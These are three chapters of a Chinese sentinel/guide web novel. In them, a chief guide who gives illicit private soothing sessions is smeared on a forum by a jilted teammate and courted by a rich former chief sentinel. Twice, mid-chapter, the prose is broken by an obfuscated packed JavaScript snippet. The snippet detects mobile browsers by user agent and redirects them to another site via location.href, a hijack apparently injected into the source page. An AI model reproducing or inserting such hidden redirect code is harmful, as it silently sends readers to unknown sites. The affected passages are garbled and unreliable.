《首席哨兵非要当我ATM》 1. 第 1 章 “请看这里——好的,谢谢配合,您的档案已更新完毕。” 闻璱接过工作人员递来的文件夹。 离开白塔事务中心的路上,闻璱打开终端,发现自己在白塔线上系统的头像,被换成了刚才拍摄的证件照。 自从半年前开始就是这样。 每次档案更新,使用默认头像的用户,都会被系统把头像换成更新时录入的照片。 据说,这是为了推广哨兵向导使用线上系统进行社交。 闻璱这个单身多年,感情经历一片清白的首席向导,更是重点关注对象。 一个弹窗突然出现: 【A级向导闻璱,您的等级评定已无法延迟,请在3个月内前往考核中心进行评定,逾期会导致自动降级。】 他不动声色地把弹窗关闭,把头像换回默认的灰色剪影头像。 移入消息页面,又是一连串消息弹出来。 除了各种官方通知、广告,有一个被设为“免打扰”状态的好友,竟然发了99+消息。 最新一条消息是一个定位,显示正在事务中心。 闻璱皱眉点开,扫了一眼。 除了可爱表情包和废话之外,没有任何有效内容。 对话框最下方,还在持续弹出最新消息: 【彭枭:忙完了?】 【彭枭:我看到你刚刚换头像了。】 【彭枭:我在大厅等你。】 还附上了一张耍帅自拍。 闻璱脚步一停,立刻退出对话框,不忍卒视那张自恋的脸。 他决定换一条路离开事务中心,省得被彭枭缠上。 但这其实有点困难。 彭枭是哨兵,五感本就敏锐,精神体又是警觉的猫头鹰,这更加强了他的视觉。 闻璱但凡出现在大厅周边,就很难不被他发现。 在地图前沉思片刻,闻璱决定溜进隔壁的静音室,从静音室的后门直达地下车库。 静音室是提供给有需要的哨兵的。 因为哨兵敏锐的感官,暴露在日常生活的各种污染中,极易受创。 在有需要的情况下,登记过的哨兵可以用脸刷开任何机构的闲置静音室,并以极低廉的价格,享受静音室的白噪音。 低廉到什么程度呢?付不起房租的哨兵,会选择在静音室长期落脚。 但如果是向导,在安抚哨兵之外的情况下使用静音室,属于占用公共资源,需要缴纳高额罚款。 显然,闻璱不想交罚款,所以他需要一个“病人”。 这当然是违规的。 但也不算那么违规。 因为这一排静音室的提示灯都显示无人使用,闻璱也具有诊疗资质,就算真的安抚哨兵,并没有“非法安抚”的道德风险。 要不,紧急加塞一个客户,让他立刻过来找自己? 但是……这也太迂回了,而且万一来的路上被彭枭发现怎么办。 思虑之间,口袋里的终端又震动起来。 彭枭迫不及待地拨来了语音电话。 闻璱挂了。 彭枭立刻又弹来许多条:“怎么了?”、“你在哪?”、“需要我帮忙吗?”的消息。 紧接着,还有一个视频电话。 闻璱真是一个头两个大。 他划开通讯录,正要从里面挑选一个冤大头,一旁洗手间里恰好有人出来。 是一个穿着运动服,戴着鸭舌帽和口罩的哨兵,个高腿长,走起路来悄得像在飘,没有一点声响。 空气萦绕着闻璱身上逸散出来的向导素,很淡,但足以让对方立刻意识到,闻璱是个向导。 终端又震动起来,是彭枭的视频电话。 闻璱来不及多想,立刻拉住哨兵,道:“帮我个忙。” 哨兵有些不太情愿地抬眼:“?” 他额前的碎发被鸭舌帽压得趴倒,遮住了上半张脸,这样微微抬起下巴,闻璱才能看到他有一双蓝紫色的眼眸。 “打开这间静音室。”闻璱说,“费用我会转给你。” 哨兵看了闻璱一眼,没多话地刷开了最近的一间静音室。 闻璱道:“谢谢。” 哨兵刷完脸,含糊地说了一声:“不用还了。”转身就要离开。 顿了顿,闻璱还是道:“加个通讯录吧,我欠你个人情。” 哨兵没回头,挥了挥手,背影无声地消失在走廊拐角。 这一番折腾回到宿舍,已经是深夜十一点多。 冲澡洗去一身的疲惫之后,闻璱在书桌前坐下,开始跟这周的客户一一核定日程,然后安排下周的客户。 虽然是首席向导,但这两年闻璱很少接任务。 尤其最近半年以来,他的时间被自己的私活“那个”填满,想接点简单的任务,都腾不出时间。 闻璱打开终端,切换小号:AAA拔牙小鸭。 随着线上系统实名制推广,一个提醒立刻弹出:【用户AAA拔牙小鸭,请尽快完成实名制认证,在完成认证之前,您在白塔线上系统的权限受限。】 绝大多数特种人开小号,甚至有无法认证的普通人在白塔注册账号,都是为了八卦唠嗑社交。 所以白塔的新规一针见血——未实名用户的发帖、回帖和聊天消息条数、通讯录好友上限都很少。 而且聊天时还会不断被提醒:谨防诈骗。 这对闻璱接私活也是毁灭性打击,因为他的老客户还在不断介绍新客户,但好友已满。 闻璱不得不考虑转移回大号的可行性。 清理小号通讯录到最后,闻璱只清掉了一个人。 一个页面干净得像闻璱大号,却没有实名认证的用户。 打开对话框,也没有任何聊天记录。 闻璱甚至想不起来是什么时候、为什么加了他。 忙完这些,闻璱再次切回大号,眼睛照旧屏蔽彭枭没完没了的消息。 即便彭枭发来的消息已经沾了不堪入目的脏字。 闻璱惊讶的是,他打开小队群,发现自己被踢出了群组。 果然,操作人还是彭枭。 只能说有些人的心眼真是比马眼还小。 闻璱放下终端,有些无语地躺进被窝。 窗户没关,月光照进来,挟着一阵风。 闻璱没睁眼道:“小黑,别忘了关窗。” 没有人回应,但桌子上被踩出来一串像枫叶,又像雨伞的水印。 闻璱余光瞥见,顿时气不打一处来:“你又不擦脚就回来!” 他对着空气翻了个白眼,认命地爬起来开始擦桌子。 擦完桌子,闻璱一回头,发现背后的地上、柜子上到处都是相似的水印,一路蜿蜒进了浴室。 闻璱洁癖大发,按捺住怒火,深呼吸着继续劳动。 而罪魁祸首,自始至终都是“空气”。 . 第二天,闻璱到工作室时,早上的客户已经蹲在门口等着了。 闻璱礼貌性地说:“抱歉,迟到了。” “没事,是我来早了。”客户是一位花豹哨兵,手里提了两大袋热气腾腾的肉包,一边吃一边问,“早饭吃了吗?我多买了点,想吃自己拿。” 闻璱婉拒:“谢谢,吃过了。” 其实早上睡过了,只垫了两口饼干,还是有点饿,但闻璱比较爱吃素。 简单收拾准备了一下,刚好花豹哨兵也狼吞虎咽地吃完了早餐,闻璱寒暄着开始步入正题:“最近怎么样?” 花豹哨兵是闻璱的老客户,但还是第一次来工作室。 他打量一圈四周,很不见外地拖了一把椅子过来,却并没有坐下。 口中答道:“两周前刚从污染区回来,一直在家休息,但感觉还是不太好。” 闻璱问:“那今天要戴……”说着,他拉开手边的抽屉。 花豹哨兵突然打断:“抱歉,医生。” 闻璱的动作一停。 “医生”是一个“安全词”。 “要不今天就算了吧,我们聊聊天?”花豹哨兵在椅子上不自然地扭了扭,“那个,我能问问你为什么要租工作室吗?我记得之前不都是上我家里做吗?” 他脸一红,解释道:“……环境有点陌生,我好像,有点放松不下来。” “原来是这样。”闻璱问,“你有什么喜欢的东西吗?如果你愿意的话,可以告诉我,下次来,我会把它摆在这里。” “不,不是……”花豹哨兵欲言又止,没敢说,已经在这了。 “我只是需要你愿意重新和我建立信任关系。”闻璱温和道,“我不会伤害你。” 花豹哨兵只好坦诚:“这里离公会总部很近,装修也好,租金不便宜吧?” 闻璱一愣。 当然很贵,房东还是个狮子大开口的事儿公,但也没有办法,私下安抚是违规的。 没办法,涉及特种人事务,总是撇不开“风险”二字。 普通人不会允许安抚这么“危险”的行为发生在他们身边,即便精神力对普通人 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闻璱的手指白皙、修长,明明没有施加任何力,花豹哨兵却忍不住顺从地瘫软在椅子上。 “我不会让你破坏任何东西,也不会破坏你,就像以前一样。”闻璱用另一只手盖住花豹哨兵的眼前。 他声音轻轻,微风一样窜进了花豹哨兵的耳朵里:“相信我,我能控制得住。” 话音落下的同时,精神力同样探出。 花豹哨兵闷哼一声,仿佛久旱之人终于得到甘霖般,颤抖着闭上了眼睛。 事后,花豹哨兵大汗淋漓地几乎站不住,被神清气爽的精神体花豹驮着,去浴室进行简单的冲洗。 闻璱也摘下手套洗了个手。 他看起来还算气定神闲,只是长舒出一口气,随手解开了衬衣最上面的两颗扣子。 雪白的衣襟掩映下,因呼吸而微微起伏的薄肌胸膛,和吐息之间隐隐的热意,似乎让他身上的冷感褪去半分。 门铃忽地响起来,急促得让人能想象门外的人如何暴躁。 闻璱打开门,顿时有点头疼了。 门外是脸黑得像锅底的彭枭。 精神体猫头鹰站在彭枭肩头,因为是早上,已经困得睁不开眼。 彭枭的视线落在他尚未系上扣子的胸口,顿时连同猫头鹰一起,眼皮都不会眨了。 他一句话没说,就想强行挤进工作室。 闻璱没有让步,甚至反手带上了门:“你来干什么?” “你还有脸问我?”彭枭咬牙切齿,“你之前是怎么答应我的?不是说不干了吗?不接电话、不回消息,就是为了背着我继续出来卖?” 闻璱不知道彭枭哪来的脸质问自己,但还是平静地一一回答他的问题:“有,为什么没有?我没答应过你任何事,更没说过退休,你也别把自己想得那么重要。” 彭枭怒道:“你这个疯子!装货!荡夫!” 接着就是一连串有的没的人生攻击。 来往行人并不少,彭枭骂起街来,立刻有行人驻足看热闹,甚至录像。 虽然终端的隐私保护机制会自动模糊人脸,但闻璱还是有些烦。 “彭枭,立刻离开。”闻璱听到背后浴室里的水声停了,知道花豹哨兵很快就会出来,只想立刻赶走彭枭,“再不走我报警了。” “你报啊!”彭枭更是火冒三丈,“我就在这呢!” “……” 失策了,忘了彭枭就在警卫队挂职。 闻璱捏了捏眉心:“你到底想干什么?联谊之前,我就跟你说清楚了,只是装个样子而已。你反悔了,现在可以去白塔举报,我任由处分。” 察觉出闻璱话语中的“让步”,彭枭深呼吸几口,似乎冷静下来。 “你明知道我不是那个意思。”彭枭道,“我这几年怎么对你的,你就没有半点感动?你就忍心这样对我?” 闻璱冷冷道:“神经。” “……”彭枭顿时又挂不住脸了。 “闻璱,你真的很装。”彭枭逼近半步,阴沉道:“你以为你接受的是谁的爱?这都是你逼我的!你也不想你这些不可告人的小秘密,有一天闹得人尽皆知吧——闻、首、席?” 围观人群不乏哨兵,果然,立刻有人低语:“闻首席?啊,这是那个闻璱?” 闻璱握了握拳,按捺住一巴掌抽飞彭枭的欲望。 他怕彭枭爽到。 “好啊。”闻璱道:“你说出去吧——不,不用你,我自己来。” 2. 第 2 章 放完狠话,摸到口袋空空如也,闻璱突然反应过来,他的终端还放在工作室里。 他绕过彭枭,从人群里挑了一个降噪耳机、口罩、墨镜一应俱全,一看就是哨兵的金发路人,伸出手:“帅哥,终端能借我用一下吗?把隐私保护关了,我发个帖子。” 金发哨兵有一个镶满大钻,土豪奢华的终端。 闻璱打开论坛,飞快地编辑了一个帖子: 【震惊!首席向导闻璱其实又穷又抠,大家都被他骗了!】 闻璱想了想,实在不知道自己还有什么可曝的,只好打了一句:【有图有真相,知情人马上来爆料!】 然后,他调出前置相机,面无表情地比了个“耶”,把自己和彭枭都置入画幅,自拍一张,贴在贴子里。 做完这些之后,他把终端还给金发哨兵,道:“抱歉,最近消息提醒可能会比较多,麻烦您屏蔽一下。有事随时来找,我欠您一个人情。” 金发哨兵接过终端,似乎低声嘟囔了一句什么,但隔着口罩,闻璱什么也没听清。 彭枭已经气得目眦欲裂,浑身颤抖。 闻璱不忘补充一句:“帖子帮你发好了,记得自己补充料。”就回了工作室。 临关门之前,闻璱又探出头,冷笑了一声:“千万别说忙忘了,不爆点什么我看不起你。” 工作室里,花豹哨兵脸色不善,沉声道:“他威胁你?这种事,你怎么不告诉我?” 临街的一整面落地窗都是智能玻璃,常年开启单向模式,花豹哨兵洗漱完之后,把一切看得清清楚楚。 “告诉你会怎样?”闻璱问。 “我帮你揍他!”花豹哨兵挥了挥拳头,拳风隆隆作响。 “……就怕你这样。”闻璱笑了,“把客户掺和进自己的私人恩怨里,太没素质。更何况,客户听说我这里这么多事,不得吓跑啊。” 又叮嘱了几句注意事项,外面的彭枭走了,围观人群渐渐散去,花豹哨兵也准备离开。 临走前,花豹哨兵站在门口,低声说:“客户不可以掺和私人恩怨,但是朋友可以帮你。” 他回过头:“闻璱,我知道这话你可能已经听腻了,但是,不论你有没有把我当朋友,我都是你的朋友。” 闻璱没有回答,默不作声地等着门被关上,然后整理其他哨兵的安抚记录。 下午又送走了两个客户之后,回到宿舍已经很晚。 因为工作时间一直使用小号跟客户进行沟通,晚上回家切回大号,闻璱才收获了比昨天更可怕的消息轰炸。 无数条相似的消息:快看论坛。 并附上数都数不清的感叹号。 闻璱早有预料,但点开论坛时,仍然为之震惊。 因为那帖子现在正飘着“HOT”的红字,挂在论坛首页最醒目的位置。 短短一天过去,竟然就有了八千条回帖! 并且,似乎还有好事者@出了他的大号,消息提醒处更是一个鲜红的:999+ 不仅如此,在爆料贴本体的下面,竟然还飘着好几个热门的【扒一扒那个大家都知道的高岭之花私下靠骗哨兵钱和感情装阔又装逼】。 竟然都有人给他做吃瓜汇总了! 正好,省得闻璱自己爬楼。 闻璱随手点进去一个汇总贴里,只见主楼按顺序发出来了爆料贴中的重要内容截图。 一个ID叫“乱世出枭雄”的认证哨兵发了好多条回帖: 【我跟ws认识六年,做队友也有四年了,一直是编队里的固定成员,不信的人自己去查,ws在圣所和公会期间,所有的团体记录都有我的名字。】 【我也爱了他六年,追了他六年,这六年给他买过的东西,我都懒得一一去算,随便拍一张给你们看看吧。】 下面一楼就附上了一张照片,奢派手表、服装、鞋子,豪车钥匙,角落里露出了一只脚。 闻璱低头一看,还真是自己脚上正穿着的这双作训靴。 但这双作训靴是公会的配给,登记过的在役特种人都可以定期免费领取。 【我追他的事,当年在圣所也不是秘密,随便你们打听,他自己更是心知肚明。】 闻璱心道:不是半年前那场联谊,自己还真闻所未闻。 【半年前联谊活动,ws终于答应了我的追求,我还以为苦尽甘来。但联谊结束之后没多久,ws翻脸不认人,拉黑了我的联系方式,我就这样“被断崖式分手”。】 闻璱忍不住无语,他到现在都没拉黑彭枭呢! 【一开始,我以为是我的错,我跟ws道歉、补偿,求他原谅。结果ws收了礼物,还是对冷冰冰的——我后来才发现,他早就傍上了金主!还不止一个!】 【大家想不到,我也想不到,谁能想到他一副那么高贵冷艳的样子,其实在外面出卖身体啊?他的金主那么多,全是高级哨兵,虽然多数不如我,但是跟每一个人都保持长期关系,从每个人身上都能捞到一点,算下来,当然好过被我绑定了!】 彭枭的爆料大抵如此。 闻璱也没想到,放任彭枭发疯,竟然能被他东拼西凑编出来一个这样的故事。 抽象到有心人只要稍微一查,就能发现真相和彭枭所说毫不相干。 但是,吃瓜的人,谁是为了真的去求证什么呢。 汇总贴里,有人@闻璱的大号出来骂。 【@闻璱,当事人不出来回应一下?】 【你也不看看放锤的人是谁……】 【就算不是p大公子,恐怕ws也不敢回吧,毕竟照片不是p的。】 结果没两句话就歪楼了: 【不是我说,镇楼这张照片拍得真不错啊,ws还是那么漂亮,那么贵气,那么高不可攀,几年没见了,一看到这张照片,我又想起当年在圣所,为了闻璱小队的名额,而和发小决斗的那些青春时光了。】 【楼上口味真是猎奇,你要知道,贵气的贵可能来源于卖勾八。】 【卖勾八怎么了?要不是圣所那一夜我输给了发小,今天还未必轮得到px给ws当狗呢!我比px嘴巴严,还比px有容人之态!】 【又是来给ws当m的,抬走,下一个。】 闻璱习以为常地忽略这些没营养的口水话,突然发现,眼前混进一层认真回复:【不是,没人注意到发帖人的ID吗?】 有人回复:【不就是“乱世出枭雄”吗,这么中二,除了px还能是谁?他确实和w什么s认识挺多年了,这爆料可信度不低。】 【不是px啊,他只是爆料的,你仔细看看楼主是谁!】 闻璱也看了一眼,楼主,也就是那个镶钻终端的主人,那个全副武装的金发帅哥,有一个很卖萌的ID:蒸饺omo。 结果,下面几十楼都是一溜烟的震惊表情包。 好半天,才有人继续讨论: 【卧槽,怎么是他?】 【他不是销声匿迹好几年了吗?】 【他和px是朋友?果然二代们的圈子都是互通的……】 【他可不是普通的二代,px搭不上他的边。】 【那他居然帮px发帖挂人?】 【他不会也w什么s鱼塘里的金主鱼吧……发现自己被骗了,所以因爱生恨?】 【卧槽,w什么s危!】 危……了吗? 好几十楼浏览过去,硬是没有人敢提这个“蒸饺omo”的真名。 闻璱也有些好奇,忍不住从原贴点进了“蒸饺omo”的主页,就这样看到了“蒸饺omo”的头像—— 一只剑齿虎侧面“匕首牙”特写。 好的,现在闻璱也想起来“蒸饺omo”是谁了。 公会唯一一个刃齿虎哨兵,前一任首席哨兵,据说也是白塔有史以来最强的S级,弓铮皎。 闻璱虽然是首席向导,但和弓铮皎有时间差,二人并不算是同期首席。 不过弓铮皎有什么背景,闻璱还真不了解。 所以,这个有无数传说的顶级哨兵,竟然会混在人群中看热闹?太巧了吧。 闻璱忍不住想起那个镶满钻的剌手终端。 ……这位前首席的审美稍嫌庸俗,恕闻璱无法欣赏。 不过,既然如此,闻璱顺手给“蒸饺omo”发去一个好友申请。 他又没真的惹过弓铮皎,怕什么。 相反,不管是不是为了还早上那个人情,一个S级哨兵的人脉都很珍贵。 如果弓铮皎看不上这个人情,大不了被拒绝,闻璱也没什么损失。 发完申请,闻璱就将这位传说哨兵,连同彭枭和爆料贴,一并抛之脑后了。 但流言多少还是给闻璱的工作带来了一些困扰。 从第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418151|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天开始,每一位客户都是怒气冲冲地来,愤懑不平地走。 安抚前后,相似的话几乎要把闻璱的耳朵磨出老茧: “我帮你澄清!” “我帮你揍死彭枭!” 也有人问:“你和弓铮皎是不是有什么误会?” 显然,大家都担心他真的和弓铮皎闹了不愉快。 当然也有:“弓铮皎居敢惹你?惹你就是惹我,他完蛋了!” ——来自现任首席哨兵逄靥星,也曾是闻璱编队中的固定成员兼副队长。 “曾”,是因为闻璱现在被踢出了群组。 当然,闻璱很久不跟任务了,他自己对此倒是没有什么太多的感觉。 面对逄靥星的义愤填膺,他反而问:“你们没去登记吧?” 他们这个编队在圣所时就固定了,正式的人员变动需要去和公会分别登记,漫长的审批期间,所有队员都会进入积分冷冻期。 逄靥星无奈道:“没有。” “别冲动。”闻璱说,“群里把我踢了不要紧,但你们如果真的去登记,我就没法苟分了。” 高等级任务会给编队所有成员奖励积分,就算是缺席档次任务的成员,也能蹭两口肉汤喝。 逄靥星吐槽:“你这个分奴,不对,现在是金钱与积分的双重奴隶。” “不说这个了。”闻璱撇开话题,“你也认识弓铮皎?” 果然,提起这事,逄靥星又义愤填膺起来:“不认识!但他要敢来找你麻烦,看我不把他揍得连声说‘闻璱大人我错了再也不敢了’!” 闻璱:“……莫名其妙地在燃些什么呢。” “谁让彭枭敢说什么‘我不如他’的!”逄靥星震怒。 闻璱了然地点头:“有空你约彭枭出来线下真人快打。” 逄靥星这一单属于靠关系“加塞”,收工之后已是深夜。 地铁即将停运,逄靥星提出送闻璱回家。 看着街边那辆闪亮的跑车,甚至还有一小束花,闻璱就知道,逄靥星这是刚提的新车还没炫够呢。 搭顺风车又舒服,又免费,闻璱当然不会拒绝。 他爽快地上了车,欣赏着漂亮的仪表盘,忍不住露出怀念的微笑。 却不知道阴影里,有一双高高在上的眼睛,将一切看在眼中。 终端忽然响起提示音,闻璱拿起来一看,发现是“蒸饺omo”通过了好友申请。 ……这都半周过去了。 对方立刻弹来一句:【你好。是要删帖吗?】 闻璱回复:【你好。不用了,谢谢。】 没有后续的删帖只会引起更多的讨论,真的想要息事宁人,应该用强有力的证据澄清。 可惜哪怕证据到处都是,闻璱也不好挑明。 毕竟,真要论起来,私下安抚明面上属于违规。 之所以闻璱能勉强“过了明路”,是白塔和公会衡量他这些年做牛做马做分奴,没有功劳也有苦劳,又考虑到他是为了治病才铤而走险。 一旦澄清,这件事少不得引起新的风波。 闻璱总不好得了便宜还卖乖。 况且,在网络上挨挨骂而已,又不影响挣钱,闻璱其实不觉得自己损失了什么。 留着帖子,也好让彭枭沉浸在这个剧本里,独自高潮,省得彭枭以为他真吃威胁这一套。 想了想,闻璱又发了一句:“如果你有需要,随时来今天那里找我。” “正在输入中…”显示了好半天,蒸饺omo发来一句:【他说的不是真的,对吧。】 闻璱微微挑眉,把终端放回口袋里。 他没有回复,蒸饺omo也没有再说话。 直到晚上睡前,蒸饺omo突然又弹来一条消息。 闻璱点开一看,好悬没晕字。 好长的一条消息,一屏都装不下,还间歇性丢了标点符号,密密麻麻又凌乱, 闻璱直接划到最后,发现最后一句是:你还是要对自己好一点、自爱一点,也要跟人保持一定的距离。 而这长篇大论的第一句话是:我相信你不是他说的那种人。 闻璱:? 矛盾文学? 他于是诚实地回了一个:【?】 蒸饺omo立刻回复:【钱的事你不用担心。】 【蒸饺omo向您转账100万元。】 3. 第 3 章 面对着巨款转账,闻璱扣在“?”上的手犹豫了好半天,才艰难地移开。 转而打出语气温柔的字句:【我好像不太明白您的意思,可以展开说说吗?】 蒸饺omo:【我觉得你太不容易了。】 闻璱费解:太不容易了……所以弓铮皎就来做男菩萨了? 蒸饺omo:【你别误会,我不是想用金钱侮辱你的人格。】 闻璱:那还是侮辱吧。 他可不会为了清高而放弃这么大一笔巨款。 蒸饺omo:【你就当做是工资吧。】 蒸饺omo:【我知道你在干什么,每天来得鸡早,走得比狗晚,累得小脸煞白,太辛苦。】 闻璱:【……你跟踪我?】 蒸饺omo:【没有。】 蒸饺omo:【是你工作室那栋楼归我,我最近住在楼上。】 闻璱被这等土豪之力震惊到了。 那可是距离公会总部步行不超过十分钟的超级CBD,寸土寸金都是往谦虚了说。 弓铮皎居然在那有一栋楼? 不愧是论坛说彭枭都不配沾边的存在。 蒸饺omo:【本以为把租金挂得贵一点,就没人会来租,没想到你无论如何都要租下来。】 闻璱:…… 他竟然当了冤大头?! 蒸饺omo:【最近看你为了负担房租,这么忙碌,我良心很不安,所以我想雇佣你。你以前一个月挣多少钱?往多了报,我翻倍给你,但以后你只有我一个老板。】 虽然闻璱的之所以忙于私活,和高昂的房租其实没有太大关系。 闻璱挑了挑眉:【你想包养我?】 蒸饺omo:【你怎么会这么想?等价交换,我们只是冰冷的金钱关系。】 闻璱饶有兴致:【那你认为我应该提供什么服务?不是身体吗?】 蒸饺omo:【你肯定不是卖身的那种骚浪贱向导,你只是有一点点的不自爱,没有很多。】 闻璱:…… 他不知道自己是不是该回一句“谢谢啊”。 蒸饺omo:【……你不会真的是吧?】 蒸饺omo:【你不是吧?】 蒸饺omo:【不是吧?】 闻璱:…… 闻璱:【明天再说,好吗?我要休息了。】 闻璱:【午饭时间你来找我吧。】 闻璱:【晚安。】 放下终端之前,闻璱又怜惜地摸了摸那笔巨款转账,最终选择退回。 废话,没有标明自愿捐赠,万一是仙人跳怎么办。 不要以为有钱人看不上自己那点小钱,有钱人也不会嫌钱多。 一夜好梦过后,闻璱神清气爽。 洗漱时,他顺手拿起终端,发现蒸饺omo在闻璱退回转账两个小时之后,又发来几条消息。 1:30:【晚安。】 2:48:【明天中午见。】 2:57:【需要我给你带饭吗?我家厨师做得还挺好吃的。】 4:19:【……我就知道你不是那种见钱眼开,什么都能出卖的人。】 如果让这位刃齿虎哨兵辗转反侧的,是如此高贵的品德的话…… 抱歉,让他失望了,毕竟闻璱真的很需要这笔钱。 但面对这样一位财大气粗的金主,闻璱还是非常有耐心地保持人设,关怀道:【谢谢。午饭就不用了。但是注意身体,晚上别熬这么晚了。】 结果,四个小时前还在思想斗争发消息的弓铮皎秒回:【没关系。】 又补充:【谢谢你的关心。】 闻璱照旧在工作室完成了早上的工作。 时钟转到中午12:00时,门铃准时响起。 打开门,弓铮皎还是几天前全副武装的模样,拎着一个行李箱一样大的饭盒站在门口。 闻璱微笑着将他迎进来。 才在茶几前坐下,弓铮皎口罩下的鼻子就动了动,声音闷闷:“有气味,鬣狗哨兵。” 闻璱微微侧目。 早上来的客户确实是一位鬣狗哨兵。 哨兵虽然也分泌特种人激素,但却不像向导素那么有特殊效果。 在不特意释放以表示“领地”意图的情况下,哨兵之间,其实很少能闻到彼此的气味。 更何况,工作室的新风系统常年运转,就是为了避免这种情况, 没想到,在弓铮皎这种顶级哨兵面前,还是徒劳。 就连闻璱稍含惊讶的目光,也没能逃过弓铮皎的感知。 弓铮皎轻咳了一声,问:“能开启白噪音模式吗?” 闻璱说:“已经打开了。你的意思是,需要开到最大吗?” 白噪音是安抚哨兵必备的系统。 但对于绝大多数哨兵来说,基础模式的白噪音已经足够。 白噪音等级拉到最高,反而会形成一种类似于“蚊音”的高频短波音。 弓铮皎却说:“是的。能吗?不然我没法摘耳机。” 看来他对于所处的环境很敏感,超过闻璱以往见过的任何哨兵。 闻璱并没有丝毫抗拒,立刻给自己塞上耳塞,把白噪音模式拉满。 他对于安抚哨兵很有心得,也明白哨兵不会在这种场合撒谎,说需要就是真的需要。 弓铮皎这才摘下耳机,却仍然戴着口罩和兜帽。 他指了指行李箱一般大的饭盒,说:“我已经吃过了,你先吃饭吧。要尝尝吗?厨师专门给普通人和向导做的。” 普通人和向导的口味相似,而这对于哨兵的味觉来说,调味太浓。 所以如果闻璱婉拒,这些饭菜只能浪费。 盛情难却,闻璱道过感谢之后,一一打开品尝。 果然是色香味俱全。 弓铮皎就在一旁静静地看着他吃。 见闻璱放下筷子插了擦嘴,弓铮皎评价道:“你完全不吃肉啊。” 闻璱进入正题:“弓先生,我想了解一下您对我们之间‘雇佣关系’的具体看法,方便吗?” 弓铮皎说:“不用这么见外,喊我名字就行。” “其实,我想了想,你也可以不用服务我。”他的手在膝上搓了搓,“我就是有钱没处花了,想找个地方挥霍,你懂吧?” 闻璱保持微笑,但很难说得出一个“懂”字。 他为了省钱,不得不搬回工会那逼仄的福利宿舍里住,这真不是他能听得下去的话。 “就像我昨天说的,我觉得你真的很辛苦。”弓铮皎感叹,“太不容易了,也太不爱惜自己了。不管怎样……人年轻就是要去享受生活啊。” 原来他说的不自爱,是这个意义上的不自爱吗? 闻璱把话题扯回来:“所以您其实是想做慈善,资助有志青年享受生活?” 那他可就找错人了,因为闻璱清楚,自己是个无底洞,很难让慈善家得到成就感的反馈。 弓铮皎摇了摇头:“当然不,我又不是X山大佛。” 他看着闻璱:“我只是觉得,你值得更好,比如,去阳光下奔跑、和精神体在草地里打滚,去攀岩、狩猎,过这样的日子!” 很遗憾,闻璱不为金钱困扰时,也不会在闲暇时间化身成一只阳光的金毛犬。 闻璱礼貌道:“方便问下您今年的年纪吗?” 不然,为什么对他说出这种,行将就木的老头才会说的话。 弓铮皎答:“二十八。” 闻璱:……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418152|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明只比闻璱大两岁而已。 弓铮皎又道:“你不用担心,我对你没有那种企图。” 说这话时,他抬起头,一双澄净的蓝眸里有星光般的紫,像一副夜幕的画作。 闻璱一愣,脑中仿佛有一块起雾的窗户突然被擦亮。 他忍不住问:“我们是不是在哪里见过?” “你终于想起来了。”弓铮皎说,“不过那点钱就不用还了,至于人情,你答应我的要求就行。” 原来几天前在事务中心,为了避开彭枭,闻璱从洗手间门口抓住的那个壮丁哨兵,就是弓铮皎。 这么巧,他已经两次让弓铮皎帮忙了。 但这两份人情,还不足以让闻璱答应被“买断”。 就算现在,是弓铮皎“求”着要做他的金主。 闻璱微微一笑:“无论如何,这几天您帮了我好几个忙,对于您的好意,我十分感谢。但我也有我的安排。今天不如就到这里吧?下午我还有事要做。” 他现在知道,以弓铮皎的财力,确实不在乎自己那点小钱,于是只能说:“如果您不介意的话,我们交个朋友?” 他也只能拿出这作为“回报”。 “你下午又要接单了吗?”弓铮皎似乎有些不满,重申了一遍,“我说了,我不是在侮辱你。” 闻璱明白他是好意,忍着笑问:“那您确认,就是想包养我、在不需要服务的情况下给我花钱,对吗?” 弓铮皎沉默片刻,似乎实在不想接受“包养”这么龌龊的说法,又改了口:“好吧,那你给我提供服务也行。” “其实论坛里有人替你澄清,说你不是卖身,但是,”弓铮皎面露迟疑,“我昨天刷了一晚上,看到有人说你能解决困扰很久的问题,让他重振雄风,但又说你不是涩情行业……所以你到底是不是?” 闻璱微微一笑,突然话锋一转:“方便看看您的精神体吗?我还没见过刃齿虎呢。” 弓铮皎不明所以,但慷慨地立刻召出精神体。 刃齿虎庞大的身形出现的瞬间,偌大的工作室突然变得很狭小,因为摆放着大大小小的家具,空间甚至不够让这巨大的野兽遵循本性地撑个懒腰,只能伏在地上。 它的眼珠子比闻璱拳头还大,被这样一双野兽凝视着,仿佛连空气都变得滞涩。 闻璱下意识地回避。 这似乎是人类面对自然界曾经的顶级掠食者本能的战栗,闻璱也不例外。 但闻璱也并不觉得倍感压力、无法呼吸。 因为精神体往往会反映主人的潜意识,弓铮皎对闻璱不仅没有敌意,反而有些莫名其妙的欣赏。 所以,刃齿虎并没有任何示威的意思,而是静静地打量着闻璱,温顺得像一只大猫。 这是在动物园里都见不到的灭绝动物,会有哨兵觉醒出这样的精神体,简直是个奇迹。 闻璱是个慕强的人,原本只是想满足一下自己的好奇心。 毕竟,他原本打算看完灭绝动物就送客。 可就在闻璱的目光落在那两颗硕大的匕首牙上时,刃齿虎突然转头,仿佛视野中突然出现了心仪的猎物。 动作突然,扫倒了一片椅柜。 就连弓铮皎自己也没料到,甚至被噪音惹得眉头紧锁。 闻璱却顾不上那些—— 他盯着刃齿虎清澈的琥珀色眸子,竟然从反光中看见一道熟悉而优雅的黑影。 